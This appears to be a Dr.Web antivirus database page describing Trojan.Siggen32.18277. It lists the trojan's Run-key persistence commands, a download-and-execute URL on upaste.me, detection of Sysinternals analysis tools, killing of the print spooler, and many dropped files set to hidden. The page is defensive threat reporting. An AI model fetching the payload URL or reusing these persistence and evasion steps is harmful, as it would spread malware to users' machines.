用户服务中心

Close

Library
My library

+ Add to library

Search
Search

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

A query form

Call us

+7 (495) 789-45-86

Forum

Your tickets

New ticket

Call us

+7 (495) 789-45-86

Profile

CN

RU CN DE EN ES FR IT JP KZ UZ PL BY ID
Close
服务
扫描仪
Dr.Web vxCube
试用
病毒知识库
知识库

技术

术语

教育培训

误区

新闻

Trojan.Siggen32.18277

Added to the Dr.Web virus database: 2026-01-11

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'TDAOE3SYUP' = '"%ALLUSERSPROFILE%\fix.js"'
  • [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'pmasfix' = 'wscript.exe //B "%APPDATA%\pmasfix.vbs"'
Creates or modifies the following files
  • %APPDATA%\microsoft\windows\start menu\programs\startup\fix.js
Malicious functions
Downloads and executes
  • https://upaste.me/r/664f6025415740809
Terminates or attempts to terminate
the following system processes:
  • <SYSTEM32>\spoolsv.exe
Searches for windows to
detect analytical utilities:
  • ClassName: 'FilemonClass', WindowName: ''
  • ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
  • ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
  • ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
  • ClassName: 'RegmonClass', WindowName: ''
  • ClassName: '', WindowName: 'Registry Monitor - Sysinternals: www.sysinternals.com'
Modifies file system
Creates the following files
  • %ALLUSERSPROFILE%\temp\index\appsdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\audioplaybackdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\audiorecordingdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\bitsdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\bluetoothdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\cameragethelpdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\devicecenterdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\devicediagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\iebrowsewebdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\iesecuritydiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\keyboarddiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\maintenancediagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\networkdiagnostics_1_web.xml
  • %ALLUSERSPROFILE%\temp\index\networkdiagnostics_2_fileshare.xml
  • %ALLUSERSPROFILE%\temp\index\networkdiagnostics_4_networkadapter.xml
  • %ALLUSERSPROFILE%\temp\index\networkdiagnostics_5_inbound.xml
  • %ALLUSERSPROFILE%\temp\index\networkdiagnostics_6_da.xml
  • %ALLUSERSPROFILE%\temp\index\pcwdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\powerdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\printerdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\searchdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\speechdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\videoplaybackdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\windowsmediaplayerconfiguration.xml
  • %ALLUSERSPROFILE%\temp\index\windowsmediaplayermedialibrary.xml
  • %ALLUSERSPROFILE%\temp\index\windowsmediaplayerplaydvd.xml
  • %ALLUSERSPROFILE%\temp\index\windowsupdatediagnostic.xml
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\dbu\serverdatacenter\license.rtf
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\df\serverdatacenter\license.rtf
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\settings\a\news\win.ps1
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\setup\pmasfix.vbs
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\apps\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\apps\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\apps\rc_connectedaccount.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rc_tempinetfolder.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rc_temporaryprofile.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rc_uac.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rc_wsreset.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rs_connectedaccount.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rs_tempinetfolder.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rs_temporaryprofile.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rs_uac.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rs_wsreset.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\apps\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\apps\ts_main.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\utils_apps.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\vf_uac.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\vf_wsreset.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\cl_audiodiagnosticsnapin.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\cl_invocation.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\cl_loadassembly.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\cl_rundiagnosticscript.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\cl_utility.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\audio\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\audio\rs_apoloadfailure.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_audioservice.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_audioserviceresponse.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_changevolume.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_enableincpl.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_hdaudiodriver.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_notdefault.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_samplingrate.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\rs_unmute.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\audio\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\audio\ts_apoloadfailure.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_audiodevicedriver.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_audioservice.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_audioserviceresponse.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_disabledincpl.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_hdaudiodriver.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_lowvolume.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_mute.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_notdefault.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_samplingrate.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\ts_unpluggedin.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\vf_hdaudiodriver.ps1
  • %ALLUSERSPROFILE%\temp\system\audio\vf_lowvolume.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\cl_registry.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\cl_service.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\bits\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\bits\rc_bitsacl.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\rc_bitsdll.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\rc_bitsregkeys.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\rs_bitsacl.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\rs_bitsdll.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\rs_bitsregkeys.ps1
  • %ALLUSERSPROFILE%\temp\system\bits\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\bits\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\bits\ts_main.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rc_btradiooff.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rc_checkbt.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rc_disabled.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rc_driverproblem.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rc_otherissue.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rc_pendingrestart.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rs_btradiooff.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rs_checkbt.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rs_disabled.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rs_driverproblem.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rs_otherissue.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\rs_pendingrestart.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\bluetooth\ts_main.ps1
  • %ALLUSERSPROFILE%\temp\system\bluetooth\vf_btradiooff.ps1
  • %ALLUSERSPROFILE%\temp\system\device\cl_detectingdevice.ps1
  • %ALLUSERSPROFILE%\temp\system\device\cl_utility.ps1
  • %ALLUSERSPROFILE%\temp\system\device\db_deviceerrorlibrary.ps1
  • %ALLUSERSPROFILE%\temp\system\device\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\device\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\device\rs_checkdriversoninstall.ps1
  • %ALLUSERSPROFILE%\temp\system\device\rs_devicedriverneedsupdate.ps1
  • %ALLUSERSPROFILE%\temp\system\device\rs_drivernotfound.ps1
  • %ALLUSERSPROFILE%\temp\system\device\rs_enabledevice.ps1
  • %ALLUSERSPROFILE%\temp\system\device\rs_informcustomer.ps1
  • %ALLUSERSPROFILE%\temp\system\device\rs_pendingrestart.ps1
  • %ALLUSERSPROFILE%\temp\system\device\rs_rescanalldevices.ps1
  • %ALLUSERSPROFILE%\temp\system\device\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\device\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\device\ts_checkdriversoninstall.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_devicedisabled.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_devicedriverneedsupdate.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_drivernotfound.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_hardwaredevicemain.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_informcustomer.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_notworkingproperly.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_pendingrestart.ps1
  • %ALLUSERSPROFILE%\temp\system\device\ts_rescanalldevices.ps1
  • %ALLUSERSPROFILE%\temp\system\device\vf_rescanalldevices.ps1
  • %ALLUSERSPROFILE%\temp\system\devicecenter\cl_utility.ps1
  • %ALLUSERSPROFILE%\temp\system\devicecenter\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\devicecenter\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\devicecenter\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\devicecenter\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\devicecenter\ts_devicecenter.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_disableaddon.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_disableaddonloadingtime.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_resetcachesize.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_resetpagesyncpolicy.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\rs_restoreieconnection.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_ieaddon.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_ieaddonloadingtime.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_ieconnection.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_pagesyncpolicy.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\ts_tempfilecachesize.ps1
  • %ALLUSERSPROFILE%\temp\system\iebrowseweb\vf_iedefectiveaddon.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\iesecurity_troubleshooter.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\iesecurity\rs_blockpopups.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\rs_iesecuritylevels.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\rs_phishingfilter.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\iesecurity\ts_blockpopups.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\ts_iesecuritylevels.ps1
  • %ALLUSERSPROFILE%\temp\system\iesecurity\ts_phishingfilter.ps1
  • %ALLUSERSPROFILE%\temp\system\keyboard\cl_cicero.ps1
  • %ALLUSERSPROFILE%\temp\system\keyboard\cl_telemetry.ps1
  • %ALLUSERSPROFILE%\temp\system\keyboard\keyboarddiagnostic.ps1
  • %ALLUSERSPROFILE%\temp\system\keyboard\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\keyboard\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\keyboard\rs_cicero.ps1
  • %ALLUSERSPROFILE%\temp\system\keyboard\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\keyboard\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\keyboard\ts_cicero.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\htinteractiveres.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\interactiveres.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticsnapin.dll
  • %ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticsresolve.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticstroubleshoot.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\networkdiagnosticsverify.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\networking\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\networking\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\networking\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\networking\startdpsservice.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\utilityfunctions.ps1
  • %ALLUSERSPROFILE%\temp\system\networking\utilitysetconstants.ps1
  • %ALLUSERSPROFILE%\temp\system\pcw\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\pcw\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\pcw\rs_programcompatibilitywizard.ps1
  • %ALLUSERSPROFILE%\temp\system\pcw\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\pcw\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\pcw\ts_programcompatibilitywizard.ps1
  • %ALLUSERSPROFILE%\temp\system\pcw\vf_programcompatibilitywizard.ps1
  • %ALLUSERSPROFILE%\temp\system\power\power_troubleshooter.ps1
  • %ALLUSERSPROFILE%\temp\system\power\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\power\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\power\prefetch\fix.js
  • %ALLUSERSPROFILE%\temp\system\power\rs_adjustdimdisplay.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_adjustscreenbrightness.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_adjustwirelessadaptersettings.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_balanced.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_changeprocessorstate.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_disablescreensaver.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_disableusbselective.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_resetdisplayidletimeout.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_resetidledisktimeout.ps1
  • %ALLUSERSPROFILE%\temp\system\power\rs_resetidlesleepsetting.ps1
  • %ALLUSERSPROFILE%\temp\system\power\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\power\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\power\ts_balanced.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_dimdisplay.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_displayidletimeout.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_idledisktimeout.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_idlesleepsetting.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_minprocessorstate.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_screenbrightness.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_screensaver.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_usbselective.ps1
  • %ALLUSERSPROFILE%\temp\system\power\ts_wirelessadaptersettings.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\mf_printerdiagnostic.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\printer\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\printer\rs_cancelalljobs.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_deleteprintjobs.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_noprinterinstalled.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_printerdriver.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_printerturnedoff.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_processprinterjobs.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_restartspoolerservice.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_setspoolerstartmode.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_spoolercrashing.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_startspoolerservice.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\rs_wrongdefaultprinter.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\printer\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\printer\ts_cannotconnect.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_defaultprinter.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_noprinterinstalled.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_outofpaper.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_outoftoner.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_paperjam.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_printerdriver.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_printerdrivererror.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_printerturnedoff.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_printjobsstuck.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_setspoolermode.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_spoolercrashing.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\ts_spoolerservice.ps1
  • %ALLUSERSPROFILE%\temp\system\printer\vf_printerturnedoff.ps1
  • %ALLUSERSPROFILE%\temp\system\search\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\search\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\search\rs_resetwindowssearchapp.ps1
  • %ALLUSERSPROFILE%\temp\system\search\rs_restoredefaults.ps1
  • %ALLUSERSPROFILE%\temp\system\search\rs_restorepermissions.ps1
  • %ALLUSERSPROFILE%\temp\system\search\rs_startindexingservice.ps1
  • %ALLUSERSPROFILE%\temp\system\search\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\search\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\search\ts_checkpermissions.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_filterhostcrashing.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_forcedshutdowninrecovery.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_forcedshutdownnocorruption.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_indexingservice.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_indexingservicecrashing.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_protocolhostcrashing.ps1
  • %ALLUSERSPROFILE%\temp\system\search\ts_searchapp.ps1
  • %ALLUSERSPROFILE%\temp\system\speech\mf_speechdiagnostic.ps1
  • %ALLUSERSPROFILE%\temp\system\speech\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\speech\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\speech\rs_calibrationrequired.ps1
  • %ALLUSERSPROFILE%\temp\system\speech\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\speech\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\speech\vf_calibrationrequired.ps1
  • %ALLUSERSPROFILE%\temp\system\video\graphicsdriverregtool-definitions.psm1
  • %ALLUSERSPROFILE%\temp\system\video\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\video\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\video\rc_aud_reg_settings.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rc_viddrv_displaytopology.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rc_viddrv_driverblocklist.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rc_viddrv_hevccodeccheck.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rc_viddrv_hwdrmcheck.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rc_viddrv_msvideo.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rc_viddrv_unsigned.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_aud_reg_settings.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_viddrv_displaytopology.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_viddrv_genericfailure.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_viddrv_hevccodeccheck.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_viddrv_hwdrmcheck.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_viddrv_msvideo.ps1
  • %ALLUSERSPROFILE%\temp\system\video\rs_viddrv_unsigned.ps1
  • %ALLUSERSPROFILE%\temp\system\video\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\video\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\video\ts_main.ps1
  • %ALLUSERSPROFILE%\temp\system\video\vf_aud_reg_settings.ps1
  • %ALLUSERSPROFILE%\temp\system\video\vf_viddrv_driverblocklist.ps1
  • %ALLUSERSPROFILE%\temp\system\video\vf_viddrv_msvideo.ps1
  • %ALLUSERSPROFILE%\temp\system\video\vf_viddrv_unsigned.ps1
  • %ALLUSERSPROFILE%\pmas_v10.exe
  • C:\users\public\settings\a\news\win.ps1
  • %ALLUSERSPROFILE%\fix.js
  • %APPDATA%\pmasfix.vbs
Sets the 'hidden' attribute to the following files
  • %ALLUSERSPROFILE%\temp\index\appsdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\audioplaybackdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\audiorecordingdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\bitsdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\bluetoothdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\cameragethelpdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\devicecenterdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\devicediagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\iebrowsewebdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\iesecuritydiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\keyboarddiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\maintenancediagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\networkdiagnostics_1_web.xml
  • %ALLUSERSPROFILE%\temp\index\networkdiagnostics_2_fileshare.xml
  • %ALLUSERSPROFILE%\temp\index\networkdiagnostics_4_networkadapter.xml
  • %ALLUSERSPROFILE%\temp\index\networkdiagnostics_5_inbound.xml
  • %ALLUSERSPROFILE%\temp\index\networkdiagnostics_6_da.xml
  • %ALLUSERSPROFILE%\temp\index\powerdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\printerdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\searchdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\speechdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\videoplaybackdiagnostic.xml
  • %ALLUSERSPROFILE%\temp\index\windowsmediaplayerconfiguration.xml
  • %ALLUSERSPROFILE%\temp\index\windowsmediaplayermedialibrary.xml
  • %ALLUSERSPROFILE%\temp\index\windowsmediaplayerplaydvd.xml
  • %ALLUSERSPROFILE%\temp\index\windowsupdatediagnostic.xml
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\dbu\serverdatacenter\license.rtf
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\df\serverdatacenter\license.rtf
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\resources\licenses\settings\a\news\win.ps1
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\shellnew\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\scheduled\maintenance\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\apps\prefetch\cl_localizationdata.psd1
  • %ALLUSERSPROFILE%\temp\system\apps\prefetch\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\temp\system\apps\rc_connectedaccount.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rc_tempinetfolder.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rc_temporaryprofile.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rc_uac.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rc_wsreset.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rs_connectedaccount.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rs_tempinetfolder.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rs_temporaryprofile.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rs_uac.ps1
  • %ALLUSERSPROFILE%\temp\system\apps\rs_wsreset.ps1
